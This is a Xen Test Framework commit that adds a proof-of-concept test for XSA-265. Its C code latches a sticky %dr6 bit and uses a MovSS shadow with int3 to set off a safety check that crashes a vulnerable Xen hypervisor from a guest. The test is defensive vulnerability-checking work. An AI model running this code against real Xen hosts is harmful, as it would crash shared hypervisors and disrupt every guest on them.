]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-265 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 25 Jun 2018 15:53:10 +0000 (16:53 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Fri, 20 Jul 2018 12:41:23 +0000 (13:41 +0100)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-265/Makefile [new file with mode: 0644]
tests/xsa-265/main.c [new file with mode: 0644]

index f8a495a6de3fdf95f9d0e8f74a0d0a4c6d32d52d..177e39814984b8e561af7524b380d61c940eee91 100644 (file)
@@ -120,6 +120,9 @@ guest breakout.
 
 @subpage test-xsa-261 - vHPET interrupt injection memory corruption.
 
+@subpage test-xsa-265 - x86: @#DB exception safety check can be triggered by a
+guest.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-265/Makefile b/tests/xsa-265/Makefile
new file mode 100644 (file)
index 0000000..fa6aaf6
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-265
+CATEGORY  := xsa
+TEST-ENVS := pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-265/main.c b/tests/xsa-265/main.c
new file mode 100644 (file)
index 0000000..760ba49
--- /dev/null
@@ -0,0 +1,61 @@
+/**
+ * @file tests/xsa-265/main.c
+ * @ref test-xsa-265
+ *
+ * @page test-xsa-265 XSA-265
+ *
+ * Advisory: [XSA-265](http://xenbits.xen.org/xsa/advisory-264.html)
+ *
+ * One of the fixes for
+ * [XSA-260](http://xenbits.xen.org/gitweb/?p=xen.git;a=commitdiff;h=75d6828bc2146d0eea16adc92376951a310d94a7)
+ * introduced logic to try and prevent livelocks of @#DB exceptions in
+ * hypervisor context.  However, it failed to account for the fact that some
+ * %dr6 bits are sticky and never cleared by hardware.
+ *
+ * This test sets the sticky `%%dr6.DB` bit, then uses a `MovSS` shadow to
+ * deliver a @#DB exception in hypervisor context.  A vulnerable Xen will
+ * trigger the safety check and crash.
+ *
+ * @see tests/xsa-265/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-265 PoC";
+
+void test_main(void)
+{
+    unsigned int ss = read_ss();
+    unsigned long dr7 = DR7_SYM(0, L, G, RW, 32) | X86_DR7_LE | X86_DR7_GE;
+
+    /* Latch the sticky General Detect flag in %dr6 */
+    write_dr6(X86_DR6_BD);
+
+    /* Data breakpoint for `ss`, working around Xen's %dr7 latching bug. */
+    write_dr0(_u(&ss));
+    write_dr7(dr7);
+    write_dr7(dr7);
+
+    asm volatile ("mov %[ss], %%ss; int3; 1:"
+                  _ASM_TRAP_OK(1b)
+                  :: [ss] "m" (ss), "X" (ex_record_fault_eax));
+
+    /*
+     * If Xen is still alive at this point, the erroneous safety check didn't
+     * trip.
+     */
+
+    write_dr7(0);
+    write_dr7(0);
+
+    xtf_success("Success: Not vulnerable to XSA-265\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */